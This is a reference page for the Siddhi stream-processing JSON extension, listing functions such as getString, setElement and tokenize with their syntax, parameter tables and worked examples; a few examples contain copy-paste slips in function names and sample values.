style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getObject(json,'$.address') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'address' : {'city' : 'NY', 'country' : 'USA'}}</code>, the function returns <code>{'city' : 'NY', 'country' : 'USA'}</code> as there is a matching object at <code>$.address</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getObject(json,'$.age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>23</code> as there is a matching object at <code>$.age</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getObject(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> ### getString *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function retrieves value specified in the given path of the JSON element as a string.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:getString(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input containing value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to fetch the value.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:getString(json,'$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>John</code> as there is a matching string at <code>$.name</code>.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:getString(json,'$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>null</code> as there are no matching element at <code>$.salary</code>.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:getString(json,'$.age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>23</code> as a string as there is a matching element at <code>$.age</code>.</p> <p></p> <span id="example-4" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 4</span> ``` json:getString(json,'$.address') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'address' : {'city' : 'NY', 'country' : 'USA'}}</code>, the function returns <code>{'city' : 'NY', 'country' : 'USA'}</code> as a string as there is a matching element at <code>$.address</code>.</p> <p></p> ### isExists *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function checks whether there is a JSON element present in the given path or not.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:isExists(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON input that needs to be searched for an elements.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path to check for the element.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:isExists(json, '$.name') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>true</code> as there is an element in the given path.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:isExists(json, '$.salary') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'age' : 23}</code>, the function returns <code>false</code> as there is no element in the given path.</p> <p></p> ### setElement *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function sets JSON element into a given JSON at the specific path.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:setElement(<STRING|OBJECT> json, <STRING> path, <STRING|BOOL|DOUBLE|FLOAT|INT|LONG|OBJECT> json.element) <OBJECT> json:setElement(<STRING|OBJECT> json, <STRING> path, <STRING|BOOL|DOUBLE|FLOAT|INT|LONG|OBJECT> json.element, <STRING> key) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON to which a JSON element needs to be added/replaced.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON path where the JSON element should be added/replaced.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">json.element</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The JSON element being added.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>BOOL<br>DOUBLE<br>FLOAT<br>INT<br>LONG<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">key</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The key to be used to refer the newly added element in the input JSON.</p></td> <td style="vertical-align: top">Assumes the element is added to a JSON array, or the element selected by the JSON path will be updated.</td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:setElement(json, '$', "{'country' : 'USA'}", 'address') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>,the function updates the <code>json</code> as <code>{'name' : 'John', 'married' : true, 'address' : {'country' : 'USA'}}</code> by adding 'address' element and returns the updated JSON.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` json:setElement(json, '$', 40, 'age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>,the function updates the <code>json</code> as <code>{'name' : 'John', 'married' : true, 'age' : 40}</code> by adding 'age' element and returns the updated JSON.</p> <p></p> <span id="example-3" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 3</span> ``` json:setElement(json, '$', 45, 'age') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true, 'age' : 40}</code>, the function updates the <code>json</code> as <code>{'name' : 'John', 'married' : true, 'age' : 45}</code> by replacing 'age' element and returns the updated JSON.</p> <p></p> <span id="example-4" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 4</span> ``` json:setElement(json, '$.items', 'book') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'Stationary', 'items' : ['pen', 'pencil']}</code>, the function updates the <code>json</code> as <code>{'name' : 'John', 'items' : ['pen', 'pencil', 'book']}</code> by adding 'book' in the items array and returns the updated JSON.</p> <p></p> <span id="example-5" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 5</span> ``` json:setElement(json, '$.item', 'book') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'Stationary', 'item' : 'pen'}</code>, the function updates the <code>json</code> as <code>{'name' : 'John', 'item' : 'book'}</code> by replacing 'item' element and returns the updated JSON.</p> <p></p> <span id="example-6" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 6</span> ``` json:setElement(json, '$.address', 'city', 'SF') ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the <code>json</code> is the format <code>{'name' : 'John', 'married' : true}</code>,the function will not update, but returns the original JSON as there are no valid path for <code>$.address</code>.</p> <p></p> ### toObject *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function generate JSON object from the given JSON string.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:toObject(<STRING> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">A valid JSON string that needs to be converted to a JSON object.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:toJson(json) ``` <p></p> <p style="word-wrap: break-word;margin: 0;">This returns the JSON object corresponding to the given JSON string.</p> <p></p> ### toString *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#function">(Function)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Function generates a JSON string corresponding to a given JSON object.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <STRING> json:toString(<OBJECT> json) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">A valid JSON object to generates a JSON string.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` json:toString(json) ``` <p></p> <p style="word-wrap: break-word;margin: 0;">This returns the JSON string corresponding to a given JSON object.</p> <p></p> ### tokenize *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Stream processor tokenizes the given JSON into to multiple JSON string elements and sends them as separate events.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenize(<STRING|OBJECT> json, <STRING> path) json:tokenize(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The input JSON that needs to be tokenized.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The path of the set of elements that will be tokenized.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">If there are no element on the given path, when set to <code>true</code> the system will drop the event, and when set to <code>false</code> the system will pass 'null' value to the jsonElement output attribute.</p></td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top;"><p style="word-wrap: break-word;margin: 0;">The JSON element retrieved based on the given path will be returned as a JSON string. If the 'path' selects a JSON array then the system returns each element in the array as a JSON string via a separate events.</p></td> <td style="vertical-align: top">STRING</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string, path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path) select path, jsonElement insert into OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the input 'json' is <code>{name:'John', enrolledSubjects:['Mathematics', 'Physics']}</code>, and the 'path' is passed as <code>$.enrolledSubjects</code> then for both the elements in the selected JSON array, it generates it generates events as <code>('$.enrolledSubjects', 'Mathematics')</code>, and <code>('$.enrolledSubjects', 'Physics')</code>.<br>For the same input JSON, if the 'path' is passed as <code>$.name</code> then it will only produce one event <code>('$.name', 'John')</code> as the 'path' provided a single JSON element.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` define stream InputStream (json string, path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path, true) select path, jsonElement insert into OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the input 'json' is <code>{name:'John', age:25}</code>,and the 'path' is passed as <code>$.salary</code> then the system will produce <code>('$.salary', null)</code>, as the 'fail.on.missing.attribute' is <code>true</code> and there are no matching element for <code>$.salary</code>.</p> <p></p> ### tokenizeAsObject *<a target="_blank" href="http://siddhi.io/en/v5.1/docs/query-guide/#stream-processor">(Stream Processor)</a>* <p></p> <p style="word-wrap: break-word;margin: 0;">Stream processor tokenizes the given JSON into to multiple JSON object elements and sends them as separate events.</p> <p></p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` json:tokenizeAsObject(<STRING|OBJECT> json, <STRING> path) json:tokenizeAsObject(<STRING|OBJECT> json, <STRING> path, <BOOL> fail.on.missing.attribute) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The input JSON that needs to be tokenized.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">The path of the set of elements that will be tokenized.</p></td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">Yes</td> </tr> <tr> <td style="vertical-align: top">fail.on.missing.attribute</td> <td style="vertical-align: top; word-wrap: break-word"><p style="word-wrap: break-word;margin: 0;">If there are no element on the given path, when set to <code>true</code> the system will drop the event, and when set to <code>false</code> the system will pass 'null' value to the jsonElement output attribute.</p></td> <td style="vertical-align: top">true</td> <td style="vertical-align: top">BOOL</td> <td style="vertical-align: top">Yes</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="extra-return-attributes" class="md-typeset" style="display: block; font-weight: bold;">Extra Return Attributes</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Possible Types</th> </tr> <tr> <td style="vertical-align: top">jsonElement</td> <td style="vertical-align: top;"><p style="word-wrap: break-word;margin: 0;">The JSON element retrieved based on the given path will be returned as a JSON object. If the 'path' selects a JSON array then the system returns each element in the array as a JSON object via a separate events.</p></td> <td style="vertical-align: top">OBJECT</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream (json string, path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path) select path, jsonElement insert into OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the input 'json' is <code>{name:'John', enrolledSubjects:['Mathematics', 'Physics']}</code>, and the 'path' is passed as <code>$.enrolledSubjects</code> then for both the elements in the selected JSON array, it generates it generates events as <code>('$.enrolledSubjects', 'Mathematics')</code>, and <code>('$.enrolledSubjects', 'Physics')</code>.<br>For the same input JSON, if the 'path' is passed as <code>$.name</code> then it will only produce one event <code>('$.name', 'John')</code> as the 'path' provided a single JSON element.</p> <p></p> <span id="example-2" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 2</span> ``` define stream InputStream (json string, path string); @info(name = 'query1') from InputStream#json:tokenizeAsObject(json, path, true) select path, jsonElement insert into OutputStream; ``` <p></p> <p style="word-wrap: break-word;margin: 0;">If the input 'json' is <code>{name:'John', age:25}</code>,and the 'path' is passed as <code>$.salary</code> then the system will produce <code>('$.salary', null)</code>, as the 'fail.on.missing.attribute' is <code>true</code> and there are no matching element for <code>$.salary</code>.</p> <p></p> <file_sep># API Docs - v1.0.8 ## Json ### getBool *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the Boolean value of Json element corresponding to the given path. If there is no valid Boolean value at the given path, the method will return 'false'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <BOOL> json:getBool(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getBool(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding Boolean value to the given path</p> ### getDouble *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the double value of Json element corresponding to the given path. If there is no valid Double value at the given path, the method will return 'null'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <DOUBLE> json:getDouble(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getDouble(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding double value to the given path</p> ### getFloat *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the Float value of the Json element corresponding to the given path. If there is no valid Float value at the given path, the method will return 'null'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <FLOAT> json:getFloat(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getFloat(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding Float value based on the given path</p> ### getInt *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the Integer value of Json element corresponding to the given path. If there is no valid Integer value at the given path, the method will return 'null'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <INT> json:getInt(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getInt(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding integer value based on the given path</p> ### getLong *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the Long value of the Json element corresponding to the given path. Ifthere is no valid Long value at the given path, the method will return 'null'</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <LONG> json:getLong(<STRING|OBJECT> json, <STRING> path) ``` <span id="query-parameters" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">QUERY PARAMETERS</span> <table> <tr> <th>Name</th> <th style="min-width: 20em">Description</th> <th>Default Value</th> <th>Possible Data Types</th> <th>Optional</th> <th>Dynamic</th> </tr> <tr> <td style="vertical-align: top">json</td> <td style="vertical-align: top; word-wrap: break-word">The json input which is used get the value against the given path</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING<br>OBJECT</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> <tr> <td style="vertical-align: top">path</td> <td style="vertical-align: top; word-wrap: break-word">The path which is used to get the value from given json</td> <td style="vertical-align: top"></td> <td style="vertical-align: top">STRING</td> <td style="vertical-align: top">No</td> <td style="vertical-align: top">No</td> </tr> </table> <span id="examples" class="md-typeset" style="display: block; font-weight: bold;">Examples</span> <span id="example-1" class="md-typeset" style="display: block; color: rgba(0, 0, 0, 0.54); font-size: 12.8px; font-weight: bold;">EXAMPLE 1</span> ``` define stream InputStream(json string); from IpStream select json:getLong(json,"$.name") as name insert into OutputStream; ``` <p style="word-wrap: break-word">This will return the corresponding Long value based on the given path</p> ### getObject *<a target="_blank" href="https://siddhi.io/en/v4.x/docs/query-guide/#function">(Function)</a>* <p style="word-wrap: break-word">This method will return the object of Json element corresponding to the given path.</p> <span id="syntax" class="md-typeset" style="display: block; font-weight: bold;">Syntax</span> ``` <OBJECT> json:getObject(<STRING|OBJECT> json, <STRING> path) 